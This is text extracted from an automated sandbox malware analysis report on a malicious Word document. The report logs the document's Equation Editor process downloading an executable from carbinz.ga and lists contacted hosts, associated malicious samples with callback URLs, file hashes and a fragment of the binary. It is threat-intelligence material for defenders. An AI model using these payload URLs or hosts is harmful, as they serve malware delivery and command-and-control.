www.iask.com/ 0% URL Reputation safe

www.iask.com/ 0% URL Reputation safe

www.iask.com/ 0% URL Reputation safe

cgi.search.biglobe.ne.jp/ 0% Avira URL Cloud safe

search.ipop.co.kr/favicon.ico 0% URL Reputation safe

search.ipop.co.kr/favicon.ico 0% URL Reputation safe

search.ipop.co.kr/favicon.ico 0% URL Reputation safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

carbinz.ga 185.239.243.112 true true unknown

www.869bernardilane.com 40.65.124.100 true true unknown

www.363dahlia.com 64.98.145.30 true true unknown

Name Malicious Antivirus Detection Reputation

carbinz.ga/modex/sirtx.exe true Avira URL Cloud: safe unknown

www.studiooculto.com/n8ud/ true Avira URL Cloud: safe low

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs
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General Information

Joe Sandbox Version: 32.0.0 Black Diamond

Analysis ID: 432659

Start date: 10.06.2021

Start time: 16:30:12

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 10m 39s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: INQUIRY-PO3010773..EPR55804.doc

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, 
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, 
Java 8 Update 121, .NET 4.6.2)

Number of analysed new started processes analysed: 10

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.expl.evad.winDOC@9/8@3/3

EGA Information: Failed

HDC Information: Successful, ratio: 10.3% (good quality ratio 9.5%)
Quality average: 68.7%
Quality standard deviation: 29.6%

HCA Information: Successful, ratio: 98%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: 
.doc
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM
Scroll down
Close Viewer

Warnings:

IP Domain Country Flag ASN ASN Name Malicious

40.65.124.100 www.869bernardilane.com United States 8075 MICROSOFT-CORP-MSN-
AS-BLOCKUS

true

64.98.145.30 www.363dahlia.com Canada 32491 TUCOWS-3CA true

185.239.243.112 carbinz.ga Moldova Republic of 55933 CLOUDIE-AS-
APCloudieLimitedHK

true

Time Type Description

16:30:40 API Interceptor 42x Sleep call for process: EQNEDT32.EXE modified

16:30:41 API Interceptor 55x Sleep call for process: sirt3512.exe modified

16:31:02 API Interceptor 138x Sleep call for process: control.exe modified

Public

Show All

Simulations

Behavior and APIs

Copyright Joe Security LLC 2021 Page 13 of 28



16:32:20 API Interceptor 1x Sleep call for process: explorer.exe modified

Time Type Description

Match Associated Sample Name / URL SHA 256 Detection Link Context

40.65.124.100 OF556701.exe Get hash malicious Browse  www.963yo
rkshirecou
rt.com/yce/?
MnZ=GZLt
z&KX6tR=ID
dd8L/TEjcz
G7NSsUGX9y
sXWcO4MFI4
Kq/Ob1ePrz
GyNvY0xrIm
YrIGy/r4/X
LA7mcu

Client.vbs Get hash malicious Browse  www.myhom
eintehaleh
.com/ht8/?
Ezu=UVFpcV
xxrTbd&I6k
xUVs=11/6Z
KiDM0JCVwo
n+35YuyrfR
hq+D/scrsr
y+SqSeZMze
0MpV6FrldW
gsMLzbCLCt
Kh6LiiwKQ==

jEgLNI40Ro9O775.exe Get hash malicious Browse  www.11lak
ewoodave.c
om/e66m/?Q
zu=6ohwpkY
AKFKu4So8m
t5tc47ZpKt
JcKaYh4vGc
xktWavYyN9
evja0j6ACx
rDSvkyWq41
y&tZUX=Qtx
X3N6pmn8HFjP

64.98.145.30 Airwaybill # 6913321719.exe Get hash malicious Browse  www.creat
ivekingmar
keting.com/a9ab/?
nZK=V4YpiZC&8
pW=foetJJL
ecOykupXdT
M3gs9QRad9
poKnqy5Bzd
h0CnIFMoRk
7qlGfmiuh9
DVDCSRKwMW
ZO9skGQ==

PO_no52071.exe Get hash malicious Browse  www.coahe
nterprises
.com/pte9/?
CVvx=vnO1
t4qi6H4+7m
TVEb4Rzi6s
zBk4yU6b72
2h91W6VbOo
HcwgzywdR1
qFUXvyB1LT
xtzk&NVuXd
P=h2M0LT4h
JTHx7Jy0

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/292286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292286/html/none?idtype=webid
https://view.joesandbox.com/analysis/253998/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253998/html/none?idtype=webid
https://view.joesandbox.com/analysis/249025/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249025/html/none?idtype=webid
https://view.joesandbox.com/analysis/340007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340007/html/none?idtype=webid
https://view.joesandbox.com/analysis/334975/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334975/html/none?idtype=webid


457b22da_by_Libranalysis.exe Get hash malicious Browse  www.omfgp
hil.com/a8si/?
NZb=jd
N+3RUems8X
gJANUws4WW
tkbvXxMu2h
TQ/t6K3f+t
8prXi7JgWK
k+q+WHlFoh
Fhnqtz&2dN
D=GVTl-

IRMEFUV8EF.exe Get hash malicious Browse  www.thoma
sboccard.c
om/et9g/?Z
6AdF8=UT1D
Nb9jqU8jE2
T1jYzIB95T
/uToWzBpFk
tcyM5LW02J
URp+2UtLGd
y43UL+wCse
u9WY&Rt=5j
Rtk6QPUNeLf

file.exe Get hash malicious Browse  www.keepe
r.network/ud9e/?
8pK0l4=0fRZJSK
vyMP+uqej0
GNVMmwXtYg
x8qLPV5tbE
8kS+cDQJQE
rzQZPsZ71i
q3pTdXK9m7
v&EhU45z=g
dJpOxNhdV

Confirm!!!.exe Get hash malicious Browse  www.schat
zilandrvre
sort.com/t052/?
uHup=fdiLpji8t&
xBf0lndh=t
w42P2gsZzN
FI26ClrNlO
cLaSTwJUCa
jkMTo5Ily4
z2MqK1/w4b
6Etf/wHjX5
uuY+UA/

4GGwmv0AJm.exe Get hash malicious Browse  whygre.co
m/.ofaf7/?
action=fbg
en&v=110&c
rc=669

raw f.exe Get hash malicious Browse  www.keepe
r.network/ud9e/?
inCTmJ0x=0fRZJ
SKvyMP+uqe
j0GNVMmwXt
Ygx8qLPV5t
bE8kS+cDQJ
QErzQZPsZ7
1iq3pTdXK9
m7v&lnxdA=
rBZlir70eHDp

DXBR001342103.exe Get hash malicious Browse  www.keepe
r.network/ud9e/?
GVTX
=0fRZJSKvy
MP+uqej0GN
VMmwXtYgx8
qLPV5tbE8k
S+cDQJQErz
QZPsZ71iq3
pTdXK9m7v&
AlO=O2Jtm6RxQ

Formbook.exe Get hash malicious Browse  www.legal
izetx.com/oez8/?
ePI=mkp4WpBy/I
FRg25v/0ex
c0lJV3Tgyy
nxFHH02UmI
9m2Vclb7hO
zkUkYWqhPS
DTpRM9+3&u
Zhx9b=tXxhAn0

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/320684/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320684/html/none?idtype=webid
https://view.joesandbox.com/analysis/318398/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/318398/html/none?idtype=webid
https://view.joesandbox.com/analysis/318072/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/318072/html/none?idtype=webid
https://view.joesandbox.com/analysis/317664/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/317664/html/none?idtype=webid
https://view.joesandbox.com/analysis/310794/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/310794/html/none?idtype=webid
https://view.joesandbox.com/analysis/308747/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/308747/html/none?idtype=webid
https://view.joesandbox.com/analysis/302382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/302382/html/none?idtype=webid
https://view.joesandbox.com/analysis/291065/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291065/html/none?idtype=webid


igPVY6UByI.exe Get hash malicious Browse  www.teamc
ounteract.
com/evpn/?
6lB4ir3X=l
i62EikE6B5
OTUaoO30Xl
SufU9GClci
JLdU0tNJU+
LwcbxfN3W6
x79Wvmh9bR
afEcbe/&lZ
Q=fxoxjP38

Order Drawing.exe Get hash malicious Browse  www.cryst
alhollowsh
op.com/uerb/?
Plv=jVt
2CRXoBZdWW
JzPj0ZBF84
+2T6pIMlZE
Mu6jDK91Zg
KGJkWhNbqA
3mDT6eAuOr
NlFdZnBIEB
A==&LhK4q=
FZRDIBLHLfI

New Purchase Order.exe Get hash malicious Browse  www.besth
ardinquiry
removal.se
rvices/noi6/?
lzul=z8
o4n2BhWV&K
tklc=y2Yx7
Gvd0tq/lBb
6YoHZdXZvi
7hzyrMsNA6
igXAvWGjNa
D5l0yqqMo1
7gQG+FqCdR
QO+

PO032321.exe Get hash malicious Browse  www.besth
ardinquiry
removal.se
rvices/noi6/?
nHBl0X=
y2Yx7Gvd0t
q/lBb6YoHZ
dXZvi7hzyr
MsNA6igXAv
WGjNaD5l0y
qqMo17gTq9
ZaOlcxzod/
xLNg==&ndn
LnT=UtTlYr
F8nVIT

NRfnt8tK24.exe Get hash malicious Browse  www.desig
nsbyvero.s
tore/smd0/?
Rxo=uTwvB
wp/ZF+46qq
83t5icsq2k
xPPDd7t5Dd
4X8Jlgq+B4
thVgHNE3Hc
HNQGWxQrsj
F6edsRm8A=
=&uTCPH=MXBx

winlog.exe Get hash malicious Browse  www.beaut
yinseoul.a
sia/g832/?
9rJxVx9H=y
uFcAINNlZL
79esdCi/r4
c7PCo3peXW
BTw/loAc7D
7spFZV2P6r
JdVG8NgxVz
xxHW/gF&Fz
ux=Wb1xZlcp7

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/285813/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285813/html/none?idtype=webid
https://view.joesandbox.com/analysis/285796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285796/html/none?idtype=webid
https://view.joesandbox.com/analysis/283117/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/283117/html/none?idtype=webid
https://view.joesandbox.com/analysis/282691/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/282691/html/none?idtype=webid
https://view.joesandbox.com/analysis/278351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/278351/html/none?idtype=webid
https://view.joesandbox.com/analysis/277376/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/277376/html/none?idtype=webid


kw8VTJCVE6.exe Get hash malicious Browse  www.desig
nsbyvero.s
tore/smd0/?
nPqLR4=dX
_LW2hpd0pP
&MHNT=uTwv
Bwp/ZF+46q
q83t5icsq2
kxPPDd7t5D
d4X8Jlgq+B
4thVgHNE3H
cHNTq/yQXU
qmPI

EuDXqof7Tf.exe Get hash malicious Browse  www.desig
nsbyvero.s
tore/smd0/?
FPWlMXl=u
TwvBwp/ZF+
46qq83t5ic
sq2kxPPDd7
t5Dd4X8Jlg
q+B4thVgHN
E3HcHNTq/y
QXUqmPI&Al
B=O2JtVnHxm

2021_03_10.exe Get hash malicious Browse  www.onsit
e.website/2bg/?
8pw0Z
NFp=i2qXQJ
zQVvCjJDri
PINHVF5dK/
7jz9RtV36f
UBEpdXcO+R
fLIwD2re5O
6qB3GP8LYm
iF&QvE=Y2J
X06fXy45XidH

2021_03_09.exe Get hash malicious Browse  www.onsit
e.website/2bg/?
t8eTz0B=i2qXQJz
QVvCjJDriP
INHVF5dK/7
jz9RtV36fU
BEpdXcO+Rf
LIwD2re5O6
qBdZ/MLckq
F&2dB=lnxh

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

carbinz.ga AWB00028487364 -000487449287.doc Get hash malicious Browse 185.239.24
3.112

Order10 06 2021.doc Get hash malicious Browse 185.239.24
3.112

PO210530_332641.doc Get hash malicious Browse 185.239.24
3.112

Match Associated Sample Name / URL SHA 256 Detection Link Context

TUCOWS-3CA Airwaybill # 6913321719.exe Get hash malicious Browse 64.98.145.30

S5.exe Get hash malicious Browse 64.98.145.30

PO_no52071.exe Get hash malicious Browse 64.98.145.30

457b22da_by_Libranalysis.exe Get hash malicious Browse 64.98.145.30

IRMEFUV8EF.exe Get hash malicious Browse 64.98.145.30

file.exe Get hash malicious Browse 64.98.145.30

Confirm!!!.exe Get hash malicious Browse 64.98.145.30

4GGwmv0AJm.exe Get hash malicious Browse 64.98.145.30

raw f.exe Get hash malicious Browse 64.98.145.30

DXBR001342103.exe Get hash malicious Browse 64.98.145.30

Formbook.exe Get hash malicious Browse 64.98.145.30

igPVY6UByI.exe Get hash malicious Browse 64.98.145.30

Order Drawing.exe Get hash malicious Browse 64.98.145.30

New Purchase Order.exe Get hash malicious Browse 64.98.145.30

PO032321.exe Get hash malicious Browse 64.98.145.30

NRfnt8tK24.exe Get hash malicious Browse 64.98.145.30

Domains

ASN
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https://view.joesandbox.com/analysis/275212/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/275212/html/none?idtype=webid
https://view.joesandbox.com/analysis/275206/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/275206/html/none?idtype=webid
https://view.joesandbox.com/analysis/275054/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/275054/html/none?idtype=webid
https://view.joesandbox.com/analysis/274403/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274403/html/none?idtype=webid
https://view.joesandbox.com/analysis/340126/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340126/html/none?idtype=webid
https://view.joesandbox.com/analysis/339978/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339978/html/none?idtype=webid
https://view.joesandbox.com/analysis/339943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339943/html/none?idtype=webid
https://view.joesandbox.com/analysis/340007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340007/html/none?idtype=webid
https://view.joesandbox.com/analysis/335495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335495/html/none?idtype=webid
https://view.joesandbox.com/analysis/334975/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334975/html/none?idtype=webid
https://view.joesandbox.com/analysis/320684/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320684/html/none?idtype=webid
https://view.joesandbox.com/analysis/318398/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/318398/html/none?idtype=webid
https://view.joesandbox.com/analysis/318072/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/318072/html/none?idtype=webid
https://view.joesandbox.com/analysis/317664/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/317664/html/none?idtype=webid
https://view.joesandbox.com/analysis/310794/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/310794/html/none?idtype=webid
https://view.joesandbox.com/analysis/308747/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/308747/html/none?idtype=webid
https://view.joesandbox.com/analysis/302382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/302382/html/none?idtype=webid
https://view.joesandbox.com/analysis/291065/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291065/html/none?idtype=webid
https://view.joesandbox.com/analysis/285813/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285813/html/none?idtype=webid
https://view.joesandbox.com/analysis/285796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285796/html/none?idtype=webid
https://view.joesandbox.com/analysis/283117/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/283117/html/none?idtype=webid
https://view.joesandbox.com/analysis/282691/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/282691/html/none?idtype=webid
https://view.joesandbox.com/analysis/278351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/278351/html/none?idtype=webid


winlog.exe Get hash malicious Browse 64.98.145.30

kw8VTJCVE6.exe Get hash malicious Browse 64.98.145.30

EuDXqof7Tf.exe Get hash malicious Browse 64.98.145.30

2021_03_10.exe Get hash malicious Browse 64.98.145.30

MICROSOFT-CORP-MSN-AS-
BLOCKUS

3arZKnr21W.exe Get hash malicious Browse 23.101.8.193

WUqkYlTJ16.exe Get hash malicious Browse 168.61.161.212

y3I4XEdM4V.exe Get hash malicious Browse 13.107.4.50

ManyToOneMailMerge Ver 18.2.dotm Get hash malicious Browse 40.114.177.156

ManyToOneMailMerge Ver 18.2.dotm Get hash malicious Browse 40.114.177.156

wzdu53.exe Get hash malicious Browse 52.239.137.4

LVh23zF9x9.exe Get hash malicious Browse 104.42.151.234

New Purchase Order20210609.exe Get hash malicious Browse 13.93.142.44

QPRfh1rEwy.exe Get hash malicious Browse 52.255.188.83

5lUjG28hjV.exe Get hash malicious Browse 204.79.197.200

qtEyFGhA9h.exe Get hash malicious Browse 13.64.90.137

lEbR9gFgLr.exe Get hash malicious Browse 104.47.54.36

FragCache Hack v47.zip.exe Get hash malicious Browse 52.239.214.132

Hang Lung Properties - SupplierRemittance Notification.htm Get hash malicious Browse 20.38.121.132

bg.HTM Get hash malicious Browse 13.107.42.12

Great River Energy - EFT Payment Notification.htm Get hash malicious Browse 20.60.132.36

Invoice number FV0062022020.exe Get hash malicious Browse 13.75.117.7

New Order Vung Ang TPP Viet Nam.exe Get hash malicious Browse 13.93.142.44

kkZlGFJMS1.exe Get hash malicious Browse 52.255.188.83

dk6IQk6UrZ.exe Get hash malicious Browse 65.55.72.183

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\sirtx[1].exe

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: downloaded

Size (bytes): 1116672

Entropy (8bit): 7.439544969133212

Encrypted: false

SSDEEP: 12288:kjuGIZRZkzHu3vmulMV40KJMp13ddUiJtYeYqHOqxiAwXSYhYQi32qNmTEdofxrh:kkGzihU31NddnYqueVK+cFWJGytwf

MD5: B0901D0A6B90E6B371BA80E2C31ADE52

SHA1: 2F175D971E4D6F4938083A78DE9BE10EB6BA0E05

SHA-256: 08DA4E7DE40F2EEC9CD1670E3DB354D49D3101FD9ACE7AAA5F99B235D2CE46FF

SHA-512: 531E2494E065F083CFB8584365675EA5E85E7EAC4668553423C50180BE69FD7306667490300ED49EA86A95C6E4D6058E01E7FEB594E68D3F416AD61ED3F55B8E

Malicious: true

Antivirus: Antivirus: Avira, Detection: 100%
Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 35%

Reputation: low

IE Cache URL: carbinz.ga/modex/sirtx.exe

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...IG.`..............P.................. ... ....@.. .......................`..........
..@.................................L...O.... ..8....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...8.... ......................@..@.rel
oc.......@......................@..B........................H............R......B........)............................................j.?.uw..lyYhe..W.....%..,|....p8...g..4....&.w...<OD.68...h 6RP.Ps6.........
z...m.W0L.....Ybg.k...P..A,...G`..Z.%T...j..!f.T.O....2......b.1r.H.-...."n#..n0......u.zm"!.A...0V..N...z..).h.O..6... .w..q..Jd....<Tka.........q\C.6......f.7.n.)m.p..2...?.v.z;8h.[.d}.6..
^..z.......<l.I..8.Hy)..q.....H..N1IP89~L}G3.-.Y..qC.....P.L......6ZY.M1(..=..[v<.}....5.........P...`c#.0.{..p._......h.,..X

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{24B24510-30CA-4646-ACFF-79FC9E14ADCB}.tmp
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/277376/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/277376/html/none?idtype=webid
https://view.joesandbox.com/analysis/275212/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/275212/html/none?idtype=webid
https://view.joesandbox.com/analysis/275206/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/275206/html/none?idtype=webid
https://view.joesandbox.com/analysis/275054/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/275054/html/none?idtype=webid
https://view.joesandbox.com/analysis/340067/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340067/html/none?idtype=webid
https://view.joesandbox.com/analysis/339868/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339868/html/none?idtype=webid
https://view.joesandbox.com/analysis/339861/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339861/html/none?idtype=webid
https://view.joesandbox.com/analysis/339855/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339855/html/none?idtype=webid
https://view.joesandbox.com/analysis/339851/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339851/html/none?idtype=webid
https://view.joesandbox.com/analysis/339832/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339832/html/none?idtype=webid
https://view.joesandbox.com/analysis/339818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339818/html/none?idtype=webid
https://view.joesandbox.com/analysis/339666/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339666/html/none?idtype=webid
https://view.joesandbox.com/analysis/339442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339442/html/none?idtype=webid
https://view.joesandbox.com/analysis/339037/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339037/html/none?idtype=webid
https://view.joesandbox.com/analysis/339034/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339034/html/none?idtype=webid
https://view.joesandbox.com/analysis/338947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338947/html/none?idtype=webid
https://view.joesandbox.com/analysis/338920/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338920/html/none?idtype=webid
https://view.joesandbox.com/analysis/338914/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338914/html/none?idtype=webid
https://view.joesandbox.com/analysis/338820/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338820/html/none?idtype=webid
https://view.joesandbox.com/analysis/338762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338762/html/none?idtype=webid
https://view.joesandbox.com/analysis/338653/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338653/html/none?idtype=webid
https://view.joesandbox.com/analysis/338602/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338602/html/none?idtype=webid
https://view.joesandbox.com/analysis/338580/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338580/html/none?idtype=webid
https://view.joesandbox.com/analysis/338382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338382/html/none?idtype=webid


Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:ol3lYdn:4Wn

MD5: 5D4D94EE7E06BBB0AF9584119797B23A

SHA1: DBB111419C704F116EFA8E72471DD83E86E49677

SHA-256: 4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

Malicious: false

Reputation: high, very likely benign file

Preview:
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{24B24510-30CA-4646-ACFF-79FC9E14ADCB}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{C2D3EB9C-AB70-4784-8852-5C03B64EE05D}.tmp
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 17408

Entropy (8bit): 3.564258812761069

Encrypted: false

SSDEEP: 384:zpiESq4O6+LOtOosNHvEt7BFnK+JVWUfVWsv1b4XBMdFz1yBZ:ljSxr2ct7TK+bWUfVZ8B0Fz1yBZ

MD5: F6FC66228E256A219ADEFA4A225D8312

SHA1: 7EF9D094485DF1805A0960B89668724E91CA086D

SHA-256: F3DACDF728DB5A725C0190C1AD8196083F6FB601F3DBE0CD00588ACBC94E77A4

SHA-512: 7ACC2ADA04220460B8539B8A51E722CFF21BA81ACA077FDA48E85D31B3F07F5402CE64C4E344237258E89CA9DA49ACEE6C691A5737CFBB637A0A974D56AD0B
D4

Malicious: false

Reputation: low

Preview:
^.6.].<.?.(.<.%.[.;.9...(.4.%.,.*.?.|.|.&.$.'.)._.?.#.4.6.-...)./.#.8./.`.%.'.&...9.8.^.^.%.?.9.`.+.$.^.(.'.%.%.2...'./.:...=.#.2.+.?.?.!.+.>.~.6./.!.?.?.0._.|./.).?.3.+.?._.?.).4.`.|.@.5._.
>...>.?.%.'.]...*._.2.?.:...&.?.?.].4.$._.%.7.0./.?.*.!.1.3.?.'.6...7.'.~.?.`.2.0.5.|.=.).%...*.;.3.:._.:.].%.5.!.?.(.?.<.~.7.=.:...&.$._...9.?.]...:.?.-.....+.,.+.[.%.6.(.[.<.#.<.?.>.<.`.0.?.&.^.&.8.-
.`.].,.6.|.,.$.&...?.@.6.[.^...'.#.).?...?.+.#.9.?.[.|._.0.|.|.9...2.%./.+.%.,...:.:.0.7.;.%.1.|.-.$.(.1.,.(.4.[.:.-.$.;.0.-.?.1.?.8...@.3.#._.2.5.]...0.?.?.?.?.@.?.8.,.(.@.~.>.5.~.&...^...7.3.].`.].
_.6.8.?...'.&.2.^.-.?.&.+.'.+.(.].?.|.;.].].4.*.'.-.#.1.;._.!.?.|.'.2.4.$.;.`.?.>.%.).!.`.[.?.7.].+.&.(.?.@.|.8.2.`.&.;.#.....-.,.....6.&.~.^.5.|...;.%._.:.&.?.6.[.,.#...<.:.9.@./.^.$.|._.%.6.;.&.=./.
@.).|.?.=..._.4.6.8.7.%.~./.|./.8.+.|.:.2.`.$.%.-.!.8.8.%.?.%.8.'.3...`.?.%.).(.`.+.%.?.6.8.?.4.#.3.!.].!.,.@.6.[.?.:.~.|...:./.&.<.7.8.?.?.<.#.%.?.#.@.8.6...=.4.?.*.|._.8.@.).#.2.'.#.&.(.#.
).|.<.2...3.(.8...2.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\INQUIRY-PO3010773..EPR55804.LNK
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:18 2020, mtime=Wed Aug 26 14:08:18 2020, 
atime=Thu Jun 10 22:30:37 2021, length=13517, window=hide

Category: dropped

Size (bytes): 2198

Entropy (8bit): 4.545078659133969

Encrypted: false

SSDEEP: 48:8H/XT0ZVXbzzlSBQaQh2H/XT0ZVXbzzlSBQaQ/:8H/XuVXbHQBQaQh2H/XuVXbHQBQaQ/

MD5: 7B55641D9E489C77C414B0DE237536CA

SHA1: 614F68C016F2E3E4FA739ABF40DBE2A79FAA472D

SHA-256: E25D5933699069B16D86641DFFDE7D5915BE6E8A5D359BA74C6F80687B3B2D93

SHA-512: 06CF7A0932D296FA1B6A86674B7457185D522ADAFAEEA79560E5571CCB63D41DE36EBB2D601863571E0E2C13954DC4DC94E0715B19D6BCAF9E349E9FFF978BE
F

Malicious: false

Reputation: low

Preview:
L..................F.... ......{.....{..Q/..P^...4...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.
2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7
.6.9.......2..4...R. .INQUIR~1.DOC..l.......Q.y.Q.y*...8.....................I.N.Q.U.I.R.Y.-.P.O.3.0.1.0.7.7.3.....E.P.R.5.5.8.0.4...d.o.c.......................-...8...[............?J......C:\Users\.
.#...................\\830021\Users.user\Desktop\INQUIRY-PO3010773..EPR55804.doc.6.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.I.N.Q.U.I.R.Y.-.P.O.3.0.1.0.7.7.3.....E.P.R.5.5.8.0
.4...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 119

Entropy (8bit): 4.622588931150308
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Encrypted: false

SSDEEP: 3:M1K0Jw4lLLgjRLFXVo0Aw4lLLgjRLFXVomX1K0Jw4lLLgjRLFXVov:McUw0LgjRLjIw0LgjRLjiUw0LgjRLjy

MD5: 421FEBE66B459A401FDB08EB92EC25DE

SHA1: 9A5B7D7F77308F2B81D675C04C9BEA095A3986E4

SHA-256: 6FDB76C67B03756E71BC3853E225C7C4893B5835C3B55B893DE5EED90324CA48

SHA-512: C72C3F5310AA0A012DCA479DA3363D0EB00F38592677878A508AC973415802868C7E1E4D8CC833CE9BF568ECCAC5729637529BD94C73BA41CE318A1BFDA42DC
E

Malicious: false

Preview:
